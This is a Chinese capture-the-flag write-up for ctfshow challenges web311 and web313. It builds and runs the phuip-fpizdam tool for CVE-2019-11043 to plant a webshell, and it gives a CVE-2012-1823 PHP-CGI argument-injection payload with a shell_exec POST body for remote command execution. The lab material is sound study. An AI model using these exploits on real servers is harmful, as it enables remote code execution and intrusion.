ctfshow phpCVE web311&web313

web311

这道题是一个版本漏洞
CVE-2019-11043

这个漏洞工具的使用必须要有go环境哦

php 复制代码
//创建工作空间
mkdir $HOME/go  
如果失败就rm -rf ~/go
//编辑 ~/.bash_profile 文件
vim ~/.bash_profile
//在最后一行添加下面这句。$HOME/go 为你工作空间的路径,你也可以换成你喜欢的路径
export GOPATH=$HOME/go
//保存退出后source一下(vim 的使用方法可以自己搜索一下)
source ~/.bash_profile
// 创建并进入你的第一个工程目录
mkdir -p $GOPATH/src/test && cd $GOPATH/src/test
//下载安装
git clone https://github.com/neex/phuip-fpizdam.git phuip-fpizdam
cd phuip-fpizdam
go get -v && go build
php 复制代码
如果报错如上图,执行命令切换为国内代理:
go env -w GOPROXY=https://goproxy.cn
php 复制代码
./phuip-fpizdam url/index.php 利用工具写入shell,然后密码是a并且是GET传参

web313

CVE-2012-1823

用到的cgi模式下的参数

-s 显示文件源码

-d 指定配置项

然后可以使用-d来指定 auto_prepend_file来制造任意文件漏洞,执行任意代码

php 复制代码
index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
php:input接受输入流
POST:
<?php echo shell_exec("命令");
php 复制代码
<?php
error_reporting(0);
//flag in my disk somewhere,go on!      意思是在我的磁盘somewhere 里面
echo 'where is flag?';
?>
相关推荐
hunzi_11 天前
选择网上购物系统要看几方面?
java·微信小程序·小程序·uni-app·php
唐青枫1 天前
php8 ?-> nullsafe 操作符 使用教程
php
Xiaok10181 天前
解决 Hugging Face SentenceTransformer 下载失败的完整指南:ProxyError、SSLError与手动下载方案
开发语言·神经网络·php
Jtti1 天前
PHP在Debian环境上的并发处理能力如何
开发语言·debian·php
viqecel2 天前
网站改版html页面 NGINX 借用伪静态和PHP脚本 实现301重定向跳转
nginx·php·nginx重定向·301重定向·html页面重定向
小爬虫程序猿2 天前
利用 PHP 爬虫按关键字搜索淘宝商品
开发语言·爬虫·php
小爬虫程序猿2 天前
淘宝商品信息如何存储到数据库?
数据库·爬虫·php
桃子酱紫君2 天前
华为配置篇-BGP实验
开发语言·华为·php
fakaifa2 天前
beikeshop多商户跨境电商独立站最新版v1.6.0版本源码
前端·小程序·uni-app·php·beikeshop多商户·beikeshop跨境电商
Taichi呀2 天前
PHP语言基础
android·开发语言·php